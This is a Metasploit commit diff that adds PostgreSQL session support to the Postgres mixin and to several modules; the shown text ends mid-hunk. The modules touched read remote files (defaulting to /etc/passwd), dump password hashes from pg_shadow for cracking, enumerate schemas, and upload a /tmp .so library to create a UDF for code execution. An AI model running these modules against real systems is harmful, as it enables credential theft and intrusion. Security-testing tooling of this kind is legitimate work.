Use PostgreSQL session type for modules
This commit is contained in:
parent
9caa2fac17
commit
30fc29e0f5
|
@ -88,11 +88,6 @@ module Exploit::Remote::Postgres
|
||||||
# @return [:error] if some other error occurred
|
# @return [:error] if some other error occurred
|
||||||
# @return [:connected] if everything went as planned
|
# @return [:connected] if everything went as planned
|
||||||
def postgres_login(opts={})
|
def postgres_login(opts={})
|
||||||
unless defined?(session).nil? || session.nil?
|
|
||||||
self.postgres_conn = session.client
|
|
||||||
return :connected
|
|
||||||
end
|
|
||||||
|
|
||||||
postgres_logout if self.postgres_conn
|
postgres_logout if self.postgres_conn
|
||||||
db = opts[:database] || datastore['DATABASE']
|
db = opts[:database] || datastore['DATABASE']
|
||||||
username = opts[:username] || datastore['USERNAME']
|
username = opts[:username] || datastore['USERNAME']
|
||||||
|
@ -125,7 +120,7 @@ module Exploit::Remote::Postgres
|
||||||
return :connection_refused
|
return :connection_refused
|
||||||
end
|
end
|
||||||
if self.postgres_conn
|
if self.postgres_conn
|
||||||
print_good "#{ip}:#{port} Postgres - Logged in to '#{db}' with '#{username}':'#{password}'" if verbose
|
print_good "#{self.postgres_conn.address}:#{self.postgres_conn.port} Postgres - Logged in to '#{db}' with '#{username}':'#{password}'" if verbose
|
||||||
return :connected
|
return :connected
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -134,20 +129,15 @@ module Exploit::Remote::Postgres
|
||||||
#
|
#
|
||||||
# @return [void]
|
# @return [void]
|
||||||
def postgres_logout
|
def postgres_logout
|
||||||
ip = datastore['RHOST']
|
ip = self.postgres_conn.address
|
||||||
port = datastore['RPORT']
|
port = self.postgres_conn.port
|
||||||
verbose = datastore['VERBOSE']
|
verbose = datastore['VERBOSE']
|
||||||
# Don't log out if we are using a session.
|
|
||||||
if defined?(session) && session
|
|
||||||
print_status "#{ip}:#{port} Postgres - Skipping disconnecting from the session" if verbose
|
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
if self.postgres_conn
|
if self.postgres_conn
|
||||||
self.postgres_conn.close if(self.postgres_conn.kind_of?(Connection) && self.postgres_conn.instance_variable_get("@conn"))
|
self.postgres_conn.close if(self.postgres_conn.kind_of?(Connection) && self.postgres_conn.instance_variable_get("@conn"))
|
||||||
self.postgres_conn = nil
|
self.postgres_conn = nil
|
||||||
|
print_status "#{ip}:#{port} Postgres - Disconnected" if verbose
|
||||||
end
|
end
|
||||||
print_status "#{ip}:#{port} Postgres - Disconnected" if verbose
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# If not currently connected, attempt to connect. If an
|
# If not currently connected, attempt to connect. If an
|
||||||
|
@ -158,17 +148,16 @@ module Exploit::Remote::Postgres
|
||||||
# @param doprint [Boolean] Whether the result should be printed
|
# @param doprint [Boolean] Whether the result should be printed
|
||||||
# @return [Hash]
|
# @return [Hash]
|
||||||
def postgres_query(sql=nil,doprint=false)
|
def postgres_query(sql=nil,doprint=false)
|
||||||
ip = datastore['RHOST']
|
|
||||||
port = datastore['RPORT']
|
|
||||||
unless self.postgres_conn
|
unless self.postgres_conn
|
||||||
result = postgres_login
|
result = postgres_login
|
||||||
unless result == :connected
|
unless result == :connected
|
||||||
return { :conn_error => result }
|
return { conn_error: result }
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
if self.postgres_conn
|
if self.postgres_conn
|
||||||
sql ||= datastore['SQL']
|
sql ||= datastore['SQL']
|
||||||
vprint_status "#{ip}:#{port} Postgres - querying with '#{sql}'"
|
vprint_status "#{self.postgres_conn.address}:#{self.postgres_conn.port} Postgres - querying with '#{sql}'"
|
||||||
begin
|
begin
|
||||||
resp = self.postgres_conn.query(sql)
|
resp = self.postgres_conn.query(sql)
|
||||||
rescue RuntimeError => e
|
rescue RuntimeError => e
|
||||||
|
@ -202,12 +191,11 @@ module Exploit::Remote::Postgres
|
||||||
# Otherwise, create a rowset using Rex::Text::Table (if there's
|
# Otherwise, create a rowset using Rex::Text::Table (if there's
|
||||||
# more than 0 rows) and return :complete.
|
# more than 0 rows) and return :complete.
|
||||||
def postgres_print_reply(resp=nil,sql=nil)
|
def postgres_print_reply(resp=nil,sql=nil)
|
||||||
ip = datastore['RHOST']
|
|
||||||
port = datastore['RPORT']
|
|
||||||
verbose = datastore['VERBOSE']
|
verbose = datastore['VERBOSE']
|
||||||
return :error unless resp.kind_of? Connection::Result
|
return :error unless resp.kind_of? Connection::Result
|
||||||
|
|
||||||
if resp.rows and resp.fields
|
if resp.rows and resp.fields
|
||||||
print_status "#{ip}:#{port} Rows Returned: #{resp.rows.size}" if verbose
|
print_status "#{postgres_conn.address}:#{postgres_conn.port} Rows Returned: #{resp.rows.size}" if verbose
|
||||||
if resp.rows.size > 0
|
if resp.rows.size > 0
|
||||||
tbl = Rex::Text::Table.new(
|
tbl = Rex::Text::Table.new(
|
||||||
'Indent' => 4,
|
'Indent' => 4,
|
||||||
|
|
|
@ -29,6 +29,7 @@ module Msf::OptionalSession
|
||||||
Msf::Opt::RPORT(3306, false)
|
Msf::Opt::RPORT(3306, false)
|
||||||
]
|
]
|
||||||
)
|
)
|
||||||
|
add_info('New in Metasploit 6.4 - This module can target a %grnSESSION%clr or an %grnRHOST%clr')
|
||||||
end
|
end
|
||||||
|
|
||||||
if framework.features.enabled?(Msf::FeatureManager::POSTGRESQL_SESSION_TYPE)
|
if framework.features.enabled?(Msf::FeatureManager::POSTGRESQL_SESSION_TYPE)
|
||||||
|
@ -37,8 +38,11 @@ module Msf::OptionalSession
|
||||||
Msf::OptInt.new('SESSION', [ false, 'The session to run this module on' ]),
|
Msf::OptInt.new('SESSION', [ false, 'The session to run this module on' ]),
|
||||||
Msf::OptString.new('DATABASE', [ false, 'The database to authenticate against', 'postgres']),
|
Msf::OptString.new('DATABASE', [ false, 'The database to authenticate against', 'postgres']),
|
||||||
Msf::OptString.new('USERNAME', [ false, 'The username to authenticate as', 'postgres']),
|
Msf::OptString.new('USERNAME', [ false, 'The username to authenticate as', 'postgres']),
|
||||||
|
Msf::Opt::RHOST(nil, false),
|
||||||
|
Msf::Opt::RPORT(5432, false)
|
||||||
]
|
]
|
||||||
)
|
)
|
||||||
|
add_info('New in Metasploit 6.4 - This module can target a %grnSESSION%clr or an %grnRHOST%clr')
|
||||||
end
|
end
|
||||||
|
|
||||||
if framework.features.enabled?(Msf::FeatureManager::MSSQL_SESSION_TYPE)
|
if framework.features.enabled?(Msf::FeatureManager::MSSQL_SESSION_TYPE)
|
||||||
|
|
|
@ -121,6 +121,14 @@ class Connection
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def address
|
||||||
|
@conn.peerhost
|
||||||
|
end
|
||||||
|
|
||||||
|
def port
|
||||||
|
@conn.peerport
|
||||||
|
end
|
||||||
|
|
||||||
def close
|
def close
|
||||||
raise "connection already closed" if @conn.nil?
|
raise "connection already closed" if @conn.nil?
|
||||||
@conn.shutdown
|
@conn.shutdown
|
||||||
|
|
|
@ -6,6 +6,7 @@
|
||||||
class MetasploitModule < Msf::Auxiliary
|
class MetasploitModule < Msf::Auxiliary
|
||||||
include Msf::Exploit::Remote::Postgres
|
include Msf::Exploit::Remote::Postgres
|
||||||
include Msf::Auxiliary::Report
|
include Msf::Auxiliary::Report
|
||||||
|
include Msf::OptionalSession
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
|
@ -17,13 +18,15 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
as well as read privileges to the target file.
|
as well as read privileges to the target file.
|
||||||
},
|
},
|
||||||
'Author' => [ 'todb' ],
|
'Author' => [ 'todb' ],
|
||||||
'License' => MSF_LICENSE
|
'License' => MSF_LICENSE,
|
||||||
|
'SessionTypes' => %w[PostgreSQL]
|
||||||
))
|
))
|
||||||
|
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
OptString.new('RFILE', [ true, 'The remote file', '/etc/passwd'])
|
OptString.new('RFILE', [ true, 'The remote file', '/etc/passwd'])
|
||||||
])
|
]
|
||||||
|
)
|
||||||
|
|
||||||
deregister_options( 'SQL', 'RETURN_ROWSET' )
|
deregister_options( 'SQL', 'RETURN_ROWSET' )
|
||||||
end
|
end
|
||||||
|
@ -37,6 +40,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
|
|
||||||
def run
|
def run
|
||||||
|
self.postgres_conn = session.client if session
|
||||||
ret = postgres_read_textfile(datastore['RFILE'])
|
ret = postgres_read_textfile(datastore['RFILE'])
|
||||||
case ret.keys[0]
|
case ret.keys[0]
|
||||||
when :conn_error
|
when :conn_error
|
||||||
|
@ -44,13 +48,13 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
when :sql_error
|
when :sql_error
|
||||||
case ret[:sql_error]
|
case ret[:sql_error]
|
||||||
when /^C58P01/
|
when /^C58P01/
|
||||||
print_error "#{rhost}:#{rport} Postgres - No such file or directory."
|
print_error "#{postgres_conn.address}:#{postgres_conn.port} Postgres - No such file or directory."
|
||||||
vprint_status "#{rhost}:#{rport} Postgres - #{ret[:sql_error]}"
|
vprint_status "#{postgres_conn.address}:#{postgres_conn.port} Postgres - #{ret[:sql_error]}"
|
||||||
when /^C42501/
|
when /^C42501/
|
||||||
print_error "#{rhost}:#{rport} Postgres - Insufficient file permissions."
|
print_error "#{postgres_conn.address}:#{postgres_conn.port} Postgres - Insufficient file permissions."
|
||||||
vprint_status "#{rhost}:#{rport} Postgres - #{ret[:sql_error]}"
|
vprint_status "#{postgres_conn.address}:#{postgres_conn.port} Postgres - #{ret[:sql_error]}"
|
||||||
else
|
else
|
||||||
print_error "#{rhost}:#{rport} Postgres - #{ret[:sql_error]}"
|
print_error "#{postgres_conn.address}:#{postgres_conn.port} Postgres - #{ret[:sql_error]}"
|
||||||
end
|
end
|
||||||
when :complete
|
when :complete
|
||||||
loot = ''
|
loot = ''
|
||||||
|
@ -59,10 +63,10 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
loot << row.first
|
loot << row.first
|
||||||
}
|
}
|
||||||
# No idea what the actual ctype will be, text/plain is just a guess
|
# No idea what the actual ctype will be, text/plain is just a guess
|
||||||
path = store_loot('postgres.file', 'text/plain', rhost, loot, datastore['RFILE'])
|
path = store_loot('postgres.file', 'text/plain', postgres_conn.address, loot, datastore['RFILE'])
|
||||||
print_good("#{rhost}:#{rport} Postgres - #{datastore['RFILE']} saved in #{path}")
|
print_good("#{postgres_conn.address}:#{postgres_conn.port} Postgres - #{datastore['RFILE']} saved in #{path}")
|
||||||
vprint_good "#{rhost}:#{rport} Postgres - Command complete."
|
vprint_good "#{postgres_conn.address}:#{postgres_conn.port} Postgres - Command complete."
|
||||||
end
|
end
|
||||||
postgres_logout if self.postgres_conn
|
postgres_logout if self.postgres_conn && session.blank?
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -5,6 +5,7 @@
|
||||||
|
|
||||||
class MetasploitModule < Msf::Auxiliary
|
class MetasploitModule < Msf::Auxiliary
|
||||||
include Msf::Exploit::Remote::Postgres
|
include Msf::Exploit::Remote::Postgres
|
||||||
|
include Msf::OptionalSession
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
|
@ -18,10 +19,9 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
[ 'URL', 'www.postgresql.org' ]
|
[ 'URL', 'www.postgresql.org' ]
|
||||||
]
|
],
|
||||||
|
'SessionTypes' => %w[PostgreSQL]
|
||||||
))
|
))
|
||||||
|
|
||||||
#register_options( [ ], self.class) # None needed.
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def auxiliary_commands
|
def auxiliary_commands
|
||||||
|
@ -42,15 +42,16 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
|
|
||||||
def run
|
def run
|
||||||
|
self.postgres_conn = session.client if session
|
||||||
ret = postgres_query(datastore['SQL'],datastore['RETURN_ROWSET'])
|
ret = postgres_query(datastore['SQL'],datastore['RETURN_ROWSET'])
|
||||||
case ret.keys[0]
|
case ret.keys[0]
|
||||||
when :conn_error
|
when :conn_error
|
||||||
print_error "#{rhost}:#{rport} Postgres - Authentication failure, could not connect."
|
print_error "#{rhost}:#{rport} Postgres - Authentication failure, could not connect."
|
||||||
when :sql_error
|
when :sql_error
|
||||||
print_error "#{rhost}:#{rport} Postgres - #{ret[:sql_error]}"
|
print_error "#{postgres_conn.address}:#{postgres_conn.port} Postgres - #{ret[:sql_error]}"
|
||||||
when :complete
|
when :complete
|
||||||
vprint_good "#{rhost}:#{rport} Postgres - Command complete."
|
vprint_good "#{postgres_conn.address}:#{postgres_conn.port} Postgres - Command complete."
|
||||||
end
|
end
|
||||||
postgres_logout if self.postgres_conn
|
postgres_logout if self.postgres_conn && session.blank?
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -7,6 +7,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
include Msf::Exploit::Remote::Postgres
|
include Msf::Exploit::Remote::Postgres
|
||||||
include Msf::Auxiliary::Report
|
include Msf::Auxiliary::Report
|
||||||
include Msf::Auxiliary::Scanner
|
include Msf::Auxiliary::Scanner
|
||||||
|
include Msf::OptionalSession
|
||||||
|
|
||||||
def initialize
|
def initialize
|
||||||
super(
|
super(
|
||||||
|
@ -16,23 +17,34 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
hashes from a Postgres server and stores them for later cracking.
|
hashes from a Postgres server and stores them for later cracking.
|
||||||
},
|
},
|
||||||
'Author' => ['theLightCosine'],
|
'Author' => ['theLightCosine'],
|
||||||
'License' => MSF_LICENSE
|
'License' => MSF_LICENSE,
|
||||||
|
'SessionTypes' => %w[PostgreSQL]
|
||||||
)
|
)
|
||||||
register_options([
|
|
||||||
OptString.new('DATABASE', [ true, 'The database to authenticate against', 'postgres']),
|
|
||||||
])
|
|
||||||
deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')
|
deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def run_host(ip)
|
def username
|
||||||
|
session ? session.client.params['username'] : datastore['USERNAME']
|
||||||
|
end
|
||||||
|
|
||||||
|
def database
|
||||||
|
session ? session.client.params['database'] : datastore['DATABASE']
|
||||||
|
end
|
||||||
|
|
||||||
|
def password
|
||||||
|
# The session or its client doesn't store the password
|
||||||
|
session ? nil : datastore['PASSWORD']
|
||||||
|
end
|
||||||
|
|
||||||
|
def run_host(ip)
|
||||||
|
self.postgres_conn = session.client if session
|
||||||
# Query the Postgres Shadow table for username and password hashes and report them
|
# Query the Postgres Shadow table for username and password hashes and report them
|
||||||
res = postgres_query('SELECT usename, passwd FROM pg_shadow',false)
|
res = postgres_query('SELECT usename, passwd FROM pg_shadow',false)
|
||||||
|
|
||||||
service_data = {
|
service_data = {
|
||||||
address: ip,
|
address: postgres_conn.address,
|
||||||
port: rport,
|
port: postgres_conn.port,
|
||||||
service_name: 'postgres',
|
service_name: 'postgres',
|
||||||
protocol: 'tcp',
|
protocol: 'tcp',
|
||||||
workspace_id: myworkspace_id
|
workspace_id: myworkspace_id
|
||||||
|
@ -41,11 +53,11 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
credential_data = {
|
credential_data = {
|
||||||
module_fullname: self.fullname,
|
module_fullname: self.fullname,
|
||||||
origin_type: :service,
|
origin_type: :service,
|
||||||
private_data: datastore['PASSWORD'],
|
private_data: password,
|
||||||
private_type: :password,
|
private_type: :password,
|
||||||
username: datastore['USERNAME'],
|
username: username,
|
||||||
realm_key: Metasploit::Model::Realm::Key::POSTGRESQL_DATABASE,
|
realm_key: Metasploit::Model::Realm::Key::POSTGRESQL_DATABASE,
|
||||||
realm_value: datastore['DATABASE']
|
realm_value: database
|
||||||
}
|
}
|
||||||
|
|
||||||
credential_data.merge!(service_data)
|
credential_data.merge!(service_data)
|
||||||
|
@ -68,10 +80,10 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
|
|
||||||
case res[:sql_error]
|
case res[:sql_error]
|
||||||
when /^C42501/
|
when /^C42501/
|
||||||
print_error "#{datastore['RHOST']}:#{datastore['RPORT']} Postgres - Insufficient permissions."
|
print_error "#{postgres_conn.address}:#{postgres_conn.port} Postgres - Insufficient permissions."
|
||||||
return
|
return
|
||||||
else
|
else
|
||||||
print_error "#{datastore['RHOST']}:#{datastore['RPORT']} Postgres - #{res[:sql_error]}"
|
print_error "#{postgres_conn.address}:#{postgres_conn.port} Postgres - #{res[:sql_error]}"
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
when :complete
|
when :complete
|
||||||
|
@ -96,8 +108,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
)
|
)
|
||||||
|
|
||||||
service_data = {
|
service_data = {
|
||||||
address: ::Rex::Socket.getaddress(rhost,true),
|
address: postgres_conn.address,
|
||||||
port: rport,
|
port: postgres_conn.port,
|
||||||
service_name: 'postgres',
|
service_name: 'postgres',
|
||||||
protocol: 'tcp',
|
protocol: 'tcp',
|
||||||
workspace_id: myworkspace_id
|
workspace_id: myworkspace_id
|
||||||
|
@ -133,6 +145,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
print_good("#{tbl.to_s}")
|
print_good("#{tbl.to_s}")
|
||||||
|
|
||||||
|
postgres_logout if self.postgres_conn && session.blank?
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -28,7 +28,11 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
|
|
||||||
def run_host(_ip)
|
def run_host(_ip)
|
||||||
print_status 'When targeting a session, only the current database can be dumped.' if session
|
if session
|
||||||
|
print_status 'When targeting a session, only the current database can be dumped.'
|
||||||
|
self.postgres_conn = session.client
|
||||||
|
end
|
||||||
|
|
||||||
pg_schema = get_schema
|
pg_schema = get_schema
|
||||||
pg_schema.each do |db|
|
pg_schema.each do |db|
|
||||||
report_note(
|
report_note(
|
||||||
|
@ -70,7 +74,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
tmp_db = {}
|
tmp_db = {}
|
||||||
tmp_db['DBName'] = database_name
|
tmp_db['DBName'] = database_name
|
||||||
tmp_db['Tables'] = []
|
tmp_db['Tables'] = []
|
||||||
postgres_login({ database: database_name })
|
postgres_login({ database: database_name }) unless session
|
||||||
tmp_tblnames = smart_query("SELECT c.relname, n.nspname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE n.nspname NOT IN ('pg_catalog','pg_toast') AND pg_catalog.pg_table_is_visible(c.oid);")
|
tmp_tblnames = smart_query("SELECT c.relname, n.nspname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE n.nspname NOT IN ('pg_catalog','pg_toast') AND pg_catalog.pg_table_is_visible(c.oid);")
|
||||||
if tmp_tblnames && !tmp_tblnames.empty?
|
if tmp_tblnames && !tmp_tblnames.empty?
|
||||||
tmp_tblnames.each do |tbl_row|
|
tmp_tblnames.each do |tbl_row|
|
||||||
|
|
|
@ -7,6 +7,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
include Msf::Exploit::Remote::Postgres
|
include Msf::Exploit::Remote::Postgres
|
||||||
include Msf::Auxiliary::Scanner
|
include Msf::Auxiliary::Scanner
|
||||||
include Msf::Auxiliary::Report
|
include Msf::Auxiliary::Report
|
||||||
|
include Msf::OptionalSession
|
||||||
|
|
||||||
# Creates an instance of this module.
|
# Creates an instance of this module.
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
|
@ -20,7 +21,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
[ 'URL', 'https://www.postgresql.org/' ]
|
[ 'URL', 'https://www.postgresql.org/' ]
|
||||||
]
|
],
|
||||||
|
'SessionTypes' => %w[PostgreSQL]
|
||||||
))
|
))
|
||||||
|
|
||||||
register_options([ ]) # None needed.
|
register_options([ ]) # None needed.
|
||||||
|
@ -31,6 +33,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
# Loops through each host in turn. Note the current IP address is both
|
# Loops through each host in turn. Note the current IP address is both
|
||||||
# ip and datastore['RHOST']
|
# ip and datastore['RHOST']
|
||||||
def run_host(ip)
|
def run_host(ip)
|
||||||
|
self.postgres_conn = session.client if session
|
||||||
user = datastore['USERNAME']
|
user = datastore['USERNAME']
|
||||||
pass = postgres_password
|
pass = postgres_password
|
||||||
do_fingerprint(user,pass,datastore['DATABASE'])
|
do_fingerprint(user,pass,datastore['DATABASE'])
|
||||||
|
@ -76,34 +79,34 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
begin
|
begin
|
||||||
msg = "#{rhost}:#{rport} Postgres -"
|
msg = "#{rhost}:#{rport} Postgres -"
|
||||||
password = pass || postgres_password
|
password = pass || postgres_password
|
||||||
vprint_status("#{msg} Trying username:'#{user}' with password:'#{password}' against #{rhost}:#{rport} on database '#{database}'")
|
vprint_status("#{msg} Trying username:'#{user}' with password:'#{password}' against #{rhost}:#{rport} on database '#{database}'") unless postgres_conn
|
||||||
result = postgres_fingerprint(
|
result = postgres_fingerprint(
|
||||||
:db => database,
|
:db => database,
|
||||||
:username => user,
|
:username => user,
|
||||||
:password => password
|
:password => password
|
||||||
)
|
)
|
||||||
if result[:auth]
|
if result[:auth]
|
||||||
vprint_good "#{rhost}:#{rport} Postgres - Logged in to '#{database}' with '#{user}':'#{password}'"
|
vprint_good "#{postgres_conn.address}:#{postgres_conn.port} Postgres - Logged in to '#{database}' with '#{user}':'#{password}'" unless session
|
||||||
print_status "#{rhost}:#{rport} Postgres - Version #{result[:auth]} (Post-Auth)"
|
print_status "#{postgres_conn.address}:#{postgres_conn.port} Postgres - Version #{result[:auth]} (Post-Auth)"
|
||||||
elsif result[:preauth]
|
elsif result[:preauth]
|
||||||
print_good "#{rhost}:#{rport} Postgres - Version #{result[:preauth]} (Pre-Auth)"
|
print_good "#{postgres_conn.address}:#{postgres_conn.port} Postgres - Version #{result[:preauth]} (Pre-Auth)"
|
||||||
else # It's something we don't know yet
|
else # It's something we don't know yet
|
||||||
vprint_status "#{rhost}:#{rport} Postgres - Authentication Error Fingerprint: #{result[:unknown]}"
|
vprint_status "#{postgres_conn.address}:#{postgres_conn.port} Postgres - Authentication Error Fingerprint: #{result[:unknown]}"
|
||||||
print_status "#{rhost}:#{rport} Postgres - Version Unknown (Pre-Auth)"
|
print_status "#{postgres_conn.address}:#{postgres_conn.port} Postgres - Version Unknown (Pre-Auth)"
|
||||||
end
|
end
|
||||||
|
|
||||||
# Reporting
|
# Reporting
|
||||||
report_service(
|
report_service(
|
||||||
:host => rhost,
|
:host => postgres_conn.address,
|
||||||
:port => rport,
|
:port => postgres_conn.port,
|
||||||
:name => "postgres",
|
:name => "postgres",
|
||||||
:info => result.values.first
|
:info => result.values.first
|
||||||
)
|
)
|
||||||
|
|
||||||
if self.postgres_conn
|
if self.postgres_conn
|
||||||
report_cred(
|
report_cred(
|
||||||
ip: rhost,
|
ip: postgres_conn.address,
|
||||||
port: rport,
|
port: postgres_conn.port,
|
||||||
service_name: 'postgres',
|
service_name: 'postgres',
|
||||||
user: user,
|
user: user,
|
||||||
password: password,
|
password: password,
|
||||||
|
@ -113,17 +116,17 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
|
|
||||||
if result[:unknown]
|
if result[:unknown]
|
||||||
report_note(
|
report_note(
|
||||||
:host => rhost,
|
:host => postgres_conn.address,
|
||||||
:proto => 'tcp',
|
:proto => 'tcp',
|
||||||
:sname => 'postgres',
|
:sname => 'postgres',
|
||||||
:port => rport,
|
:port => postgres_conn.port,
|
||||||
:ntype => 'postgresql.fingerprint',
|
:ntype => 'postgresql.fingerprint',
|
||||||
:data => "Unknown Pre-Auth fingerprint: #{result[:unknown]}"
|
:data => "Unknown Pre-Auth fingerprint: #{result[:unknown]}"
|
||||||
)
|
)
|
||||||
end
|
end
|
||||||
|
|
||||||
# Logout
|
# Logout
|
||||||
postgres_logout
|
postgres_logout if self.postgres_conn && session.blank?
|
||||||
|
|
||||||
rescue Rex::ConnectionError
|
rescue Rex::ConnectionError
|
||||||
vprint_error "#{rhost}:#{rport} Connection Error: #{$!}"
|
vprint_error "#{rhost}:#{rport} Connection Error: #{$!}"
|
||||||
|
|
|
@ -9,6 +9,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
|
||||||
include Msf::Exploit::Remote::Postgres
|
include Msf::Exploit::Remote::Postgres
|
||||||
include Msf::Auxiliary::Report
|
include Msf::Auxiliary::Report
|
||||||
|
include Msf::OptionalSession
|
||||||
|
|
||||||
# Creates an instance of this module.
|
# Creates an instance of this module.
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
|
@ -66,8 +67,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
],
|
],
|
||||||
],
|
],
|
||||||
'DefaultTarget' => 0,
|
'DefaultTarget' => 0,
|
||||||
'DisclosureDate' => '2007-06-05'
|
'DisclosureDate' => '2007-06-05',
|
||||||
|
'SessionTypes' => %w[PostgreSQL]
|
||||||
))
|
))
|
||||||
|
|
||||||
deregister_options('SQL', 'RETURN_ROWSET')
|
deregister_options('SQL', 'RETURN_ROWSET')
|
||||||
|
@ -85,12 +86,14 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
|
self.postgres_conn = session.client if session
|
||||||
|
|
||||||
version = do_login(username,password,database)
|
version = do_login(username,password,database)
|
||||||
case version
|
case version
|
||||||
when :noauth; print_error "Authentication failed"; return
|
when :noauth; print_error "Authentication failed"; return
|
||||||
when :noconn; print_error "Connection failed"; return
|
when :noconn; print_error "Connection failed"; return
|
||||||
else
|
else
|
||||||
print_status("#{rhost}:#{rport} - #{version}")
|
print_status("#{postgres_conn.address}:#{postgres_conn.port} - #{version}")
|
||||||
end
|
end
|
||||||
|
|
||||||
fname = "/tmp/#{Rex::Text.rand_text_alpha(8)}.so"
|
fname = "/tmp/#{Rex::Text.rand_text_alpha(8)}.so"
|
||||||
|
@ -111,7 +114,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
rescue RuntimeError => e
|
rescue RuntimeError => e
|
||||||
print_error "Failed to create UDF function: #{e.class}: #{e}"
|
print_error "Failed to create UDF function: #{e.class}: #{e}"
|
||||||
end
|
end
|
||||||
postgres_logout if @postgres_conn
|
postgres_logout if @postgres_conn && session.blank?
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -121,7 +124,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
def do_login(user=nil,pass=nil,database=nil)
|
def do_login(user=nil,pass=nil,database=nil)
|
||||||
begin
|
begin
|
||||||
password = pass || postgres_password
|
password = pass || postgres_password
|
||||||
vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}")
|
vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}") unless self.postgres_conn
|
||||||
result = postgres_fingerprint(
|
result = postgres_fingerprint(
|
||||||
:db => database,
|
:db => database,
|
||||||
:username => user,
|
:username => user,
|
||||||
|
@ -129,8 +132,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
)
|
)
|
||||||
if result[:auth]
|
if result[:auth]
|
||||||
report_service(
|
report_service(
|
||||||
:host => rhost,
|
:host => postgres_conn.address,
|
||||||
:port => rport,
|
:port => postgres_conn.port,
|
||||||
:name => "postgres",
|
:name => "postgres",
|
||||||
:info => result.values.first
|
:info => result.values.first
|
||||||
)
|
)
|
||||||
|
|
|
@ -10,6 +10,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
include Msf::Exploit::Remote::Postgres
|
include Msf::Exploit::Remote::Postgres
|
||||||
include Msf::Exploit::Remote::Tcp
|
include Msf::Exploit::Remote::Tcp
|
||||||
include Msf::Auxiliary::Report
|
include Msf::Auxiliary::Report
|
||||||
|
include Msf::OptionalSession
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
|
@ -72,11 +73,11 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
}
|
}
|
||||||
],
|
],
|
||||||
],
|
],
|
||||||
'DisclosureDate' => '2019-03-20'
|
'DisclosureDate' => '2019-03-20',
|
||||||
|
'SessionTypes' => %w[PostgreSQL]
|
||||||
))
|
))
|
||||||
|
|
||||||
register_options([
|
register_options([
|
||||||
Opt::RPORT(5432),
|
|
||||||
OptString.new('TABLENAME', [ true, 'A table name that does not exist (To avoid deletion)', Rex::Text.rand_text_alphanumeric(8..12)]),
|
OptString.new('TABLENAME', [ true, 'A table name that does not exist (To avoid deletion)', Rex::Text.rand_text_alphanumeric(8..12)]),
|
||||||
OptBool.new('DUMP_TABLE_OUTPUT', [false, 'select payload command output from table (For Debugging)', false])
|
OptBool.new('DUMP_TABLE_OUTPUT', [false, 'select payload command output from table (For Debugging)', false])
|
||||||
])
|
])
|
||||||
|
@ -98,12 +99,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
version = postgres_fingerprint
|
version = postgres_fingerprint
|
||||||
return false unless version[:auth]
|
return false unless version[:auth]
|
||||||
vprint_status version[:auth].to_s
|
vprint_status version[:auth].to_s
|
||||||
version_full = version[:auth].to_s.scan(/^PostgreSQL ([\d\.]+)/).flatten.first
|
